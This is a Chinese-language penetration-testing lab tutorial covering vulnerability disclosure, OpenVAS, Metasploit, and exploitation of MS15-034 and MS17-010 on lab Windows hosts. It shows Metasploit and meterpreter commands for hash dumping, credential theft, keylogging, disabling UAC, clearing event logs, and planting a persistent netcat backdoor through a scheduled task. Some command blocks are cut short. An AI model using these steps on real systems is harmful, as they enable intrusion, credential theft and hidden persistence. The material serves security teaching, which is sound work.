网络安全-Windows渗透测试3
Windows渗透测试
漏洞披露
微软安全公告
安全公告都有一个唯一的编号
- 其命名规则是:MS年份一补丁序号
- 比如MS17-010就表示2017年发布的编号为010的安全公告
- 最后安全公告:MS17-023
每个公告对应微软知识库编号
- 比如MS17-010对应的是4013389,通过编号在微软的网站上查找到相应的文章和解决方案
- 找到:基于x64的Windows Server2008 R2版本安全更新文件名为:Windows6.1-KB4012212-x64.msi
微软安全更新指南
微软安全更新指南
- 自2017年2月起,替代安全公告
- https://msrc.microsoft.com/update-guide
什么是CVE
CVE(Common Vulnerabilities and Exposures)通用漏洞与披露
- CVE可以理解为是一个漏洞字典,也可以称作信息安全漏洞词典
- CVE是指给每个安全漏洞的确定一个唯一的名称,也叫CVEID 编号
- http://cve.org 收录189732条记录
漏洞披露平台
国家信息漏洞共享平台
美国国家信息安全漏洞库
漏洞扫描/弱点评估
什么是网络探测
网络探测
- 网络探测指对计算机网络或DNS服务器进行扫描,获取有效的地址、活动端口号、主机操作系统类型和安全弱点
常用工具
- Nmap、NessusOpenVAS、MetasploitFramework
网络探测的应用
安全评估
- 远程系统安全评估是一种非常重要的安全防护方法
- 包括构成网络的路由器、交换机和提供各种应用的服务器以及个人电脑,都存在着相当数量的漏洞
- 各种攻击行为正是利用这些漏洞展开的
什么是OpenVAS
OpenVAS(Open Vulnerability Assessment Scanner)
- 是一个开源的全功能的漏洞扫描评估系统,是Nessus项目分支
- 功能包括非认证测试、认证测试、各种互联网和工业协议、大规模扫描的性能调整等漏洞库持续更新
- https://github.com/greenbone/openvas-scanner/
OpenVAS部署
Kali默认没有安装OpenVAS,在线安装并初始化漏洞列表需要3~5小时
- 解压kali2022_vmx.zip
- 还原快照至”OpenVAS”
- IP地址:192.168.10.224
从物理机访问
- https://192.168.10.224:9392
- 登录用户名admin密码admin
执行扫描任务
- 第一步:添加扫描端口
- 第二步:添加扫描目标
- 第三步:执行扫描任务
- 第四步:检查扫描结果
Metasploit Framework
关于Metasploit Framework
一款开源的安全漏检测工具,简称MSF
- 可以收集信息、探测系统漏洞、执行漏洞利用测试等,为渗透测试、攻击编码和漏洞研究提供了一个可靠平台
- 集成数千个漏洞利用、辅助测试模块,并保持持续更新
- 由著名黑客、安全专家H.D.Moore主导开发
- 官方网站:https://metasploit.com
在kali中,通过msfconsole进入控制台
MSF常用模块
辅助模块Auxiliary
- 不直接在测试者和目标主机之间建立访问
- 只负责执行扫描、嗅探、指纹识别、爆破等相关功能以辅助渗透测试
漏洞利用Exploits
- 利用目标系统、应用或者服务中的安全漏洞进行攻击行为
- 包括用于破坏系统安全的攻击代码,每个漏洞都有相应的攻击代码
攻击载荷 Payloads
- 一般是一段代码,被渗透攻击模块通过安全漏洞植入目标主机中并运行,主要用来与目标主机之间建立一个稳定的连接。可返回Shell或进行程序注入等操作后
渗透模块Post
- 该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等
MSF核心命令
执行msfconsole进入控制台以后
- ?:获取帮助
- exit:退出MSF控制台
- back:返回上一级
- show:查看模块或相关信息
- search:搜索模块
- use:使用模块
- options:列出当前模块的选项
- set:设置模块选项
- run或exploit:运行当前模块
CVE-2015-1635漏洞利用
Windows系统历年高危漏洞
- CVE-2012-0002(MS12-020)RDP漏洞DOS攻击
- CVE-2015-1635(MS15-034)HTTP.SYS漏洞攻击
- CVE-2017-0143(MS17-010)445漏洞永恒之蓝攻击
- CVE-2019-0708 RDP漏洞攻击
CVE-2015-1635(MS15-034)漏洞
HTTP.sys RCE漏洞
- 漏洞存在于HTTP协议堆栈(HTTP.sys)中,攻击者只要发送恶意http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃
- 漏洞名称:CVE-2015-1635(允许远程执行代码漏洞)
- 漏洞安全公告:MS15-034
影响系统
- Windows 7/8/8.1
- Windows Server 2008/2008 R2/2012/2012 R2
POC脚本检测
POC脚本检测
- Proof of Concept”观点证明”
- 一段验证漏洞的程序,使我们能够确认这个漏洞是真实存在的
脚本上传
- 上传cve-2015-1635.poc到kali系统/root目录下
MS15-034漏洞检测
第一步:POC脚本检测
- 上传cve-2015-1635.poc到kali系统
- 修改cve-2015-1635.poc文件中的ipaddr为 windows靶机地址
- 使用python执行POC脚本
1 | [root@kali ~] # python2 cve-2015-1635.poc //执行POC验证脚本 |
第二步:搜索CVE-2015-1635或MS15-034
1 | msf6 > search ms15-034 |
第三步:先使用辅助脚本 use 1,先做扫描
1 | msf6 > use 1 |
第四步:退出扫描脚本 use 1,切换攻击脚本 use 0
1 | msf6 > use 0 |
检查目标主机是否蓝屏
MS15-034 漏洞防御
第五步:MS15-034漏洞防御-关闭内核缓存
- 开始菜单 => IIS管理器 => 自己计算机名 => 网站 => Default Web Site => 输出缓存
第六步:关闭内核缓存后,再次发起漏洞利用
- 再次发起漏洞利用,发现Windows靶机安然无恙,不再蓝屏
第七步:除了关闭内核缓存,也可安装补丁进行漏洞防御
- 上传Windows6.1-KB3042553-x64-2008R2.msu到Windows靶机
- 安装完补丁后,系统会重启
CVE-2017-0143漏洞利用
CVE-2017-0143(MS17-010)漏洞
漏洞为外界所知源于勒索病毒的爆发,该病毒利用NSA(美国国家安全局)泄露的网络攻击工具永恒之蓝(Eternal Blue)改造而成
- 漏洞通过TCP的445和139端口,利用SMB远程代码执行漏洞
- 攻击者可以在目标系统上执行任意代码
影响系统
- Windows7/8/8.1/10
- WindowsServer2008/2012/2016
MS17-010漏洞利用
准备Windows靶机
第一步:漏洞扫描,使用脚本3进行漏洞扫描
1 | ┌──(root㉿kali)-[~] |
第二步:漏洞利用,建立反弹连接
1 | msf6 > use 0 //使用攻击脚本 |
使用hashdump命令导出SAM账号数据
复制冒号分隔的第4段内容,可用于MD5解密
获取账户信息
第三步:加载kiwi模块,通过kiwi模块获取用户口令
1 | meterpreter > load kiwi //加载kiwi |
进程迁移
第四步:进程迁移,与稳定进程绑定
1 | meterpreter > ps -S explorer.exe //查找explorer进程 |
键盘记录
第五步:开启键盘记录
1 | meterpreter > run post/windows/capture/keylog_recorder |
防火墙配置
第六步:添加规则backdoor,开放端口444
1 | meterpreter > shell //进入命令行 |
第七步:在win2008中查看防火墙
关闭用户账户控制
第八步:操作注册表关闭UAC
- UAC:User Account Control用户帐户控制,是windows操作系统中一种安全控制机制,使用UAC,可以防止未经授权应用程序的自动安装,阻止恶意程序
- ADD添加一个注册表项
- /v创建键值 /t键值类型 /d 键值的值 /f强制覆盖
1 | C:\Windows\system32> reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f |
清除目标主机的日志
使用clearev命令
- 完成清除以后,目标主机的安全日志为空
1 | meterpreter > clearev |
监控主机
使用screenshot拍摄主机当前状态
使用screenshare监控主机画面
1 | meterpreter > screenshot |
持久性后门程序
瑞士军刀
NC:(netcat)
- 被称为网络工具中的瑞士军刀,体积小巧,但功能强大
- NC主要功能可以在两台设备上面相互交互,即侦听模式/传输模式
环境准备
- 靶机:Windows
添加NC后门
第一步:上传nc.exe后门文件
- 上传后门程序nc.exe到Windows靶机
1 | meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 |
- 查看上传结果及权限
1 | meterpreter > ls nc.exe |
第二步:将nc.exe添加开机启动,监听TCP 444端口
- 以”计划任务”方式,开机自启
1 | C:\Windows\system32>chcp 65001 //修改编码,防止乱码 |
查看后门任务计划
打开windows靶机”计划任务” ,查看nc后门配置
使用后门
第三步:使用nc进行后门连接
- 重启Windows靶机,不用登录
1 | ┌──(root㉿kali)-[~] |